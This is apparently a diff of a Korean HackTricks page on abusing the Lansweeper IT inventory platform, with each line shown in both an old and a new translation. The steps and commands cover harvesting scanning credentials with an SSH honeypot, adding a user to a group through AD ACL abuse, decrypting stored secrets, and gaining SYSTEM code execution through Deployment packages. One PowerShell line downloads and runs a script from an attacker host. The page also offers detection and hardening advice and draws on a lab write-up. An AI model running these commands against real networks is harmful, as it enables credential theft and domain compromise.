# Lansweeper 남용: 자격 증명 수집, 비밀 복호화 및 Deployment RCE
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Lansweeper는 Windows에 배포되고 Active Directory와 통합되어 사용되는 IT 자산 탐지 및 인벤토리 플랫폼입니다. Lansweeper에 구성된 자격증명은 SSH, SMB/WMI, WinRM 같은 프로토콜을 통해 자산에 인증하기 위해 스캐닝 엔진에서 사용됩니다. 잘못된 구성으로 인해 자주 발생하는 문제는 다음과 같습니다:
|
||||
Lansweeper는 일반적으로 Windows에 배포되고 Active Directory와 통합되는 IT 자산 검색 및 인벤토리 플랫폼입니다. Lansweeper에 구성된 자격 증명은 스캐닝 엔진이 SSH, SMB/WMI, WinRM과 같은 프로토콜을 통해 자산에 인증하는 데 사용됩니다. 잘못된 구성으로 인해 자주 발생하는 문제는 다음과 같습니다:
|
||||
|
||||
- 스캐닝 대상(target)을 공격자 제어 호스트(honeypot)로 리다이렉트하여 자격증명 가로채기
|
||||
- Lansweeper 관련 그룹들이 노출하는 AD ACL을 악용해 원격 접근 획득
|
||||
- 호스트에서 Lansweeper에 구성된 비밀(연결 문자열 및 저장된 스캔 자격증명) 복호화
|
||||
- Deployment 기능을 통해 관리되는 엔드포인트에서 코드 실행(종종 SYSTEM으로 실행)
|
||||
- 스캐닝 대상을 공격자 제어 호스트(honeypot)로 리디렉션하여 자격 증명 가로채기
|
||||
- Lansweeper 관련 그룹이 노출한 AD ACL을 악용해 원격 액세스 획득
|
||||
- 호스트에서 Lansweeper에 구성된 비밀(연결 문자열 및 저장된 스캐닝 자격 증명) 복호화
|
||||
- Deployment 기능을 통해 관리되는 엔드포인트에서 코드 실행(종종 SYSTEM 권한으로 실행)
|
||||
|
||||
이 페이지는 실제 공격자가 인게이지먼트 동안 이러한 동작을 악용하는 워크플로우와 명령을 요약합니다.
|
||||
이 페이지는 공격 수행 시 이러한 동작을 악용하기 위한 실무적 워크플로우와 명령어를 요약합니다.
|
||||
|
||||
## 1) Harvest scanning credentials via honeypot (SSH example)
|
||||
## 1) honeypot을 통한 스캐닝 자격 증명 수집 (SSH 예)
|
||||
|
||||
아이디어: Scanning Target을 당신의 호스트로 가리키게 만들고 기존 Scanning Credentials를 거기에 매핑합니다. 스캔이 실행되면 Lansweeper는 해당 자격증명으로 인증을 시도하고, 당신의 honeypot이 그 시도된 자격증명을 캡처합니다.
|
||||
아이디어: 자신의 호스트를 가리키는 Scanning Target을 만들고 기존 Scanning Credentials를 여기에 매핑합니다. 스캔이 실행되면 Lansweeper는 해당 자격 증명으로 인증을 시도하고, 당신의 honeypot이 그 자격 증명을 포착합니다.
|
||||
|
||||
Steps overview (web UI):
|
||||
절차 개요 (web UI):
|
||||
- Scanning → Scanning Targets → Add Scanning Target
|
||||
- Type: IP Range (or Single IP) = your VPN IP
|
||||
- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
|
||||
@ -39,22 +39,22 @@ sshesame --config sshesame.conf
|
||||
# authentication for user "svc_inventory_lnx" with password "<password>" accepted
|
||||
# connection with client version "SSH-2.0-RebexSSH_5.0.x" established
|
||||
```
|
||||
캡처한 creds를 DC services에 대해 검증:
|
||||
캡처한 creds를 DC 서비스에 대해 검증:
|
||||
```bash
|
||||
# SMB/LDAP/WinRM checks (NetExec)
|
||||
netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
Notes
|
||||
- 다른 프로토콜에서도 scanner를 당신의 listener로 유도할 수 있다면 비슷하게 작동합니다 (SMB/WinRM honeypots 등). SSH가 종종 가장 간단합니다.
|
||||
- 많은 scanners가 고유한 client banners로 자신을 식별(예: RebexSSH)하며, uname, whoami 등의 무해한 명령을 시도합니다.
|
||||
참고
|
||||
- scanner를 당신의 listener로 유도할 수 있을 때 다른 프로토콜에서도 유사하게 작동합니다 (SMB/WinRM honeypots, etc.). SSH가 보통 가장 간단합니다.
|
||||
- 많은 scanners는 고유한 client banners로 자신을 식별하며 (e.g., RebexSSH) uname, whoami 등과 같은 무해한 명령을 시도합니다.
|
||||
|
||||
## 2) AD ACL abuse: 자신을 app-admin group에 추가해 원격 접근 획득
|
||||
## 2) AD ACL abuse: 자신을 app-admin 그룹에 추가하여 원격 접근 획득
|
||||
|
||||
침해된 계정으로부터 effective rights를 열거하려면 BloodHound를 사용하세요. 흔한 발견 사례는 scanner- 또는 앱 특정 그룹(예: “Lansweeper Discovery”)이 권한 있는 그룹(예: “Lansweeper Admins”)에 대해 GenericAll을 보유하고 있는 경우입니다. 해당 권한 그룹이 “Remote Management Users”의 멤버이기도 하면, 우리가 자신을 추가하면 WinRM이 사용 가능해집니다.
|
||||
침해된 계정에서 effective rights를 열거하려면 BloodHound를 사용하세요. 흔한 발견 사례로는 scanner- 또는 app-specific group (e.g., “Lansweeper Discovery”)이 privileged group (e.g., “Lansweeper Admins”)에 대해 GenericAll을 보유하고 있는 경우입니다. 만약 해당 privileged group이 “Remote Management Users”의 멤버이기도 하면, 우리가 자신을 추가하면 WinRM을 이용할 수 있게 됩니다.
|
||||
|
||||
Collection examples:
|
||||
수집 예시:
|
||||
```bash
|
||||
# NetExec collection with LDAP
|
||||
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhound -c All --dns-server <DC_IP>
|
||||
@ -62,7 +62,7 @@ netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhoun
|
||||
# RustHound-CE collection (zip for BH CE import)
|
||||
rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '<password>' -c All --zip
|
||||
```
|
||||
BloodyAD (Linux)로 그룹에서 GenericAll을 Exploit:
|
||||
Exploit GenericAll을 그룹에 대해 BloodyAD (Linux)를 사용하여:
|
||||
```bash
|
||||
# Add our user into the target group
|
||||
bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '<password>' \
|
||||
@ -71,24 +71,24 @@ add groupMember "Lansweeper Admins" svc_inventory_lnx
|
||||
# Confirm WinRM access if the group grants it
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
그런 다음 interactive shell을 얻으세요:
|
||||
그런 다음 interactive shell을 얻습니다:
|
||||
```bash
|
||||
evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
팁: Kerberos 연산은 시간에 민감합니다. KRB_AP_ERR_SKEW가 발생하면 먼저 DC와 시간을 동기화하세요:
|
||||
팁: Kerberos 작업은 시간에 민감합니다. KRB_AP_ERR_SKEW 오류가 발생하면 먼저 DC와 시간을 동기화하세요:
|
||||
```bash
|
||||
sudo ntpdate <dc-fqdn-or-ip> # or rdate -n <dc-ip>
|
||||
```
|
||||
## 3) 호스트에서 Lansweeper에 구성된 비밀 복호화
|
||||
|
||||
Lansweeper 서버에서 ASP.NET 사이트는 일반적으로 애플리케이션에서 사용하는 암호화된 연결 문자열과 대칭 키를 저장합니다. 적절한 로컬 접근 권한이 있으면 DB 연결 문자열을 복호화한 다음 저장된 스캔 자격 증명을 추출할 수 있습니다.
|
||||
Lansweeper 서버에서, ASP.NET 사이트는 일반적으로 애플리케이션에서 사용하는 암호화된 연결 문자열과 대칭 키를 저장합니다. 적절한 로컬 액세스 권한이 있으면 DB 연결 문자열을 복호화한 다음 저장된 스캔 자격 증명을 추출할 수 있습니다.
|
||||
|
||||
Typical locations:
|
||||
- 웹 구성 파일: `C:\Program Files (x86)\Lansweeper\Website\web.config`
|
||||
- `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">` … `<EncryptedData>…`
|
||||
- 애플리케이션 키: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
|
||||
|
||||
SharpLansweeperDecrypt를 사용해 저장된 자격 증명 복호화 및 덤프를 자동화합니다:
|
||||
Use SharpLansweeperDecrypt to automate decryption and dumping of stored creds:
|
||||
```powershell
|
||||
# From a WinRM session or interactive shell on the Lansweeper host
|
||||
# PowerShell variant
|
||||
@ -99,12 +99,12 @@ powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
|
||||
# - Connect to Lansweeper DB
|
||||
# - Decrypt stored scanning credentials and print them in cleartext
|
||||
```
|
||||
예상 출력에는 DB 연결 정보 및 plaintext 스캐닝 자격 증명(환경 전반에 걸쳐 사용되는 Windows 및 Linux 계정 등)이 포함됩니다. 이러한 계정은 도메인 호스트에서 종종 높은 로컬 권한을 가집니다:
|
||||
예상 출력물에는 DB 연결 정보와 조직 전역에서 사용되는 Windows 및 Linux 계정과 같은 평문 스캐닝 자격증명이 포함됩니다. 이러한 계정은 도메인 호스트에서 종종 높은 로컬 권한을 가집니다:
|
||||
```text
|
||||
Inventory Windows SWEEP\svc_inventory_win <StrongPassword!>
|
||||
Inventory Linux svc_inventory_lnx <StrongPassword!>
|
||||
```
|
||||
복구된 Windows scanning creds를 privileged access에 사용:
|
||||
복구된 Windows scanning creds를 사용하여 특권 액세스 획득:
|
||||
```bash
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
|
||||
# Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
|
||||
@ -113,10 +113,10 @@ netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
|
||||
|
||||
“As a member of “Lansweeper Admins”, the web UI exposes Deployment and Configuration. Under Deployment → Deployment packages, you can create packages that run arbitrary commands on targeted assets. Execution is performed by the Lansweeper service with high privilege, yielding code execution as NT AUTHORITY\SYSTEM on the selected host.
|
||||
|
||||
High-level steps:
|
||||
- Create a new Deployment package that runs a PowerShell or cmd one-liner (reverse shell, add-user, etc.).
|
||||
- Target the desired asset (e.g., the DC/host where Lansweeper runs) and click Deploy/Run now.
|
||||
- Catch your shell as SYSTEM.
|
||||
주요 단계:
|
||||
- 새 Deployment package를 생성하여 PowerShell 또는 cmd one-liner를 실행한다 (reverse shell, add-user 등).
|
||||
- 원하는 자산(예: Lansweeper가 실행되는 DC/host)을 대상으로 설정하고 Deploy/Run now를 클릭한다.
|
||||
- SYSTEM 권한으로 쉘을 획득한다.
|
||||
|
||||
Example payloads (PowerShell):
|
||||
```powershell
|
||||
@ -127,21 +127,21 @@ powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
|
||||
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
|
||||
```
|
||||
OPSEC
|
||||
- 배포 행동은 소음을 유발하며 Lansweeper 및 Windows event logs에 로그를 남깁니다. 신중하게 사용하세요.
|
||||
- 배포 작업은 소음이 크고 Lansweeper 및 Windows 이벤트 로그에 기록을 남깁니다. 신중히 사용하세요.
|
||||
|
||||
## 탐지 및 하드닝
|
||||
## 탐지 및 보안 강화
|
||||
|
||||
- 익명 SMB 열거를 제한하거나 제거하세요. RID cycling 및 Lansweeper shares에 대한 이상 접근을 모니터링하세요.
|
||||
- Egress controls: scanner hosts에서의 outbound SSH/SMB/WinRM을 차단하거나 엄격히 제한하세요. 비표준 포트(예: 2022) 및 Rebex와 같은 비정상적인 클라이언트 배너에 대해 경보를 설정하세요.
|
||||
- Protect `Website\\web.config` and `Key\\Encryption.txt`. 비밀은 vault로 외부화하고 노출 시 회전(rotate)하세요. 가능하면 최소 권한의 서비스 계정 및 gMSA 사용을 고려하세요.
|
||||
- AD 모니터링: Lansweeper-related groups(예: “Lansweeper Admins”, “Remote Management Users”) 변경 및 권한 있는 그룹에 GenericAll/Write 멤버십을 부여하는 ACL 변경에 대해 경고하세요.
|
||||
- Deployment 패키지 생성/변경/실행을 감사하고; cmd.exe/powershell.exe를 생성하거나 예상치 못한 outbound 연결을 생성하는 패키지에 대해 경보를 설정하세요.
|
||||
- 익명 SMB 열거를 제한하거나 제거하세요. RID 순환 및 Lansweeper 공유에 대한 비정상적인 접근을 모니터링하세요.
|
||||
- 아웃바운드 제어: 스캐너 호스트에서의 SSH/SMB/WinRM 아웃바운드를 차단하거나 엄격히 제한하세요. 비표준 포트(예: 2022) 및 Rebex 같은 비정상적 클라이언트 배너에 대해 경보를 설정하세요.
|
||||
- `Website\\web.config` 및 `Key\\Encryption.txt`을(를) 보호하세요. 비밀은 vault로 외부화하고 노출 시 교체하세요. 가능한 경우 최소 권한 서비스 계정과 gMSA 사용을 고려하세요.
|
||||
- AD 모니터링: Lansweeper 관련 그룹(예: “Lansweeper Admins”, “Remote Management Users”) 변경 및 권한 그룹에 대해 GenericAll/Write 멤버십을 부여하는 ACL 변경에 대해 경보를 발생시키세요.
|
||||
- 배포 패키지 생성/변경/실행을 감시하세요; cmd.exe/powershell.exe를 실행하거나 예상치 못한 아웃바운드 연결을 생성하는 패키지에 대해 경보를 설정하세요.
|
||||
|
||||
## 관련 주제
|
||||
- SMB/LSA/SAMR enumeration 및 RID cycling
|
||||
- Kerberos password spraying 및 clock skew 고려사항
|
||||
- BloodHound path analysis of application-admin groups
|
||||
- WinRM 사용 및 lateral movement
|
||||
- SMB/LSA/SAMR 열거 및 RID 순환
|
||||
- Kerberos 패스워드 스프레이 및 시계 오차 고려사항
|
||||
- 애플리케이션-관리자 그룹에 대한 BloodHound 경로 분석
|
||||
- WinRM 사용 및 횡적 이동
|
||||
|
||||
## References
|
||||
- [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html)
|
||||
|
Loading…
x
Reference in New Issue
Block a user